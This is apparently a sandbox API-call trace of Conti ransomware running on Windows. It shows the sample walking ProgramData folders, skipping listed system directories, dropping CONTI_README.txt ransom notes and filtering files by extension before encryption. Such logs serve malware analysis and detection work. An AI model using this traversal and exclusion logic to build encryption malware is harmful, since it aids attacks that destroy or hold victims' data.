	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="winnt") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Application Data") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="AppData") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="temp") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="thumb") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="$Recycle.Bin") returned 1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="$RECYCLE.BIN") returned 1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="System Volume Information") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Program Files") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Program Files (x86)") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Boot") returned -1
	[0103.926] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Windows") returned -1
	[0103.926] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 42
	[0103.926] lstrlenW (lpString="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 38
	[0103.926] GetProcessHeap () returned 0x1720000
	[0103.926] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732c10
	[0103.926] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0103.926] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\"
	[0103.926] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.926] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.926] GetProcessHeap () returned 0x1720000
	[0103.926] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732cc0
	[0103.926] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.926] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*"
	[0103.926] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.926] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.926] GetProcessHeap () returned 0x1720000
	[0103.926] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d308
	[0103.926] lstrcpyW (in: lpString1=0x181d308, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.926] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.926] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\CONTI_README.txt"
	[0103.926] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.928] GetProcessHeap () returned 0x1720000
	[0103.928] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d308 | out: hHeap=0x1720000) returned 1
	[0103.928] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.929] CloseHandle (hObject=0x3c8) returned 1
	[0103.929] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0103.929] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.929] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.930] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.930] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.930] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c966ab, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c966ab, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.930] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.930] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.930] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.930] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.930] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="en-US", cAlternateFileName="")) returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="tmp") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="winnt") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="Application Data") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="AppData") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="thumb") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="Boot") returned 1
	[0103.930] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0103.930] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.930] lstrlenW (lpString="en-US") returned 5
	[0103.930] GetProcessHeap () returned 0x1720000
	[0103.930] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb0) returned 0x17c0310
	[0103.930] lstrcpyW (in: lpString1=0x17c0310, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.930] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.930] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0103.930] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 87
	[0103.930] GetProcessHeap () returned 0x1720000
	[0103.930] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x181b788
	[0103.930] lstrcpyW (in: lpString1=0x181b788, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0103.930] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*"
	[0103.931] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 87
	[0103.931] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.931] GetProcessHeap () returned 0x1720000
	[0103.931] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd2) returned 0x17c8e70
	[0103.931] lstrcpyW (in: lpString1=0x17c8e70, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0103.931] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\"
	[0103.931] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\CONTI_README.txt"
	[0103.931] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0103.931] GetProcessHeap () returned 0x1720000
	[0103.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8e70 | out: hHeap=0x1720000) returned 1
	[0103.931] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.932] CloseHandle (hObject=0x394) returned 1
	[0103.932] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0103.932] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.932] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.932] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.932] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.932] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c966ab, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c966ab, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.932] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.932] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.932] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.932] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.932] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0103.932] lstrcmpiW (lpString1="resource.xml", lpString2=".") returned 1
	[0103.932] lstrcmpiW (lpString1="resource.xml", lpString2="..") returned 1
	[0103.932] StrStrIW (lpFirst="resource.xml", lpSrch=".CONTI") returned 0x0
	[0103.932] StrStrIW (lpFirst="resource.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.932] StrStrIW (lpFirst="resource.xml", lpSrch=".exe") returned 0x0
	[0103.933] StrStrIW (lpFirst="resource.xml", lpSrch=".dll") returned 0x0
	[0103.933] StrStrIW (lpFirst="resource.xml", lpSrch=".lnk") returned 0x0
	[0103.933] StrStrIW (lpFirst="resource.xml", lpSrch=".sys") returned 0x0
	[0103.933] StrStrIW (lpFirst="resource.xml", lpSrch=".CONTI") returned 0x0
	[0103.933] StrStrIW (lpFirst="resource.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.933] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 87
	[0103.933] lstrlenW (lpString="resource.xml") returned 12
	[0103.933] GetProcessHeap () returned 0x1720000
	[0103.933] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173c0e0
	[0103.933] lstrcpyW (in: lpString1=0x173c0e0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US"
	[0103.933] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\"
	[0103.933] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpString2="resource.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml"
	[0103.936] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0103.936] GetProcessHeap () returned 0x1720000
	[0103.936] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b788 | out: hHeap=0x1720000) returned 1
	[0103.937] FindClose (in: hFindFile=0x17c82b0 | out: hFindFile=0x17c82b0) returned 1
	[0103.937] GetProcessHeap () returned 0x1720000
	[0103.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0310 | out: hHeap=0x1720000) returned 1
	[0103.937] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0103.937] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0103.937] lstrcmpiW (lpString1="folder.ico", lpString2="..") returned 1
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch=".CONTI") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch=".exe") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch=".dll") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch=".lnk") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch=".sys") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch=".CONTI") returned 0x0
	[0103.937] StrStrIW (lpFirst="folder.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.937] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.937] lstrlenW (lpString="folder.ico") returned 10
	[0103.937] GetProcessHeap () returned 0x1720000
	[0103.937] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x6511400
	[0103.937] lstrcpyW (in: lpString1=0x6511400, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0103.937] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\"
	[0103.937] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="folder.ico" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"
	[0103.939] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0103.939] lstrcmpiW (lpString1="netfol.ico", lpString2=".") returned 1
	[0103.939] lstrcmpiW (lpString1="netfol.ico", lpString2="..") returned 1
	[0103.939] StrStrIW (lpFirst="netfol.ico", lpSrch=".CONTI") returned 0x0
	[0103.939] StrStrIW (lpFirst="netfol.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.940] StrStrIW (lpFirst="netfol.ico", lpSrch=".exe") returned 0x0
	[0103.940] StrStrIW (lpFirst="netfol.ico", lpSrch=".dll") returned 0x0
	[0103.940] StrStrIW (lpFirst="netfol.ico", lpSrch=".lnk") returned 0x0
	[0103.940] StrStrIW (lpFirst="netfol.ico", lpSrch=".sys") returned 0x0
	[0103.940] StrStrIW (lpFirst="netfol.ico", lpSrch=".CONTI") returned 0x0
	[0103.940] StrStrIW (lpFirst="netfol.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0103.940] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 81
	[0103.940] lstrlenW (lpString="netfol.ico") returned 10
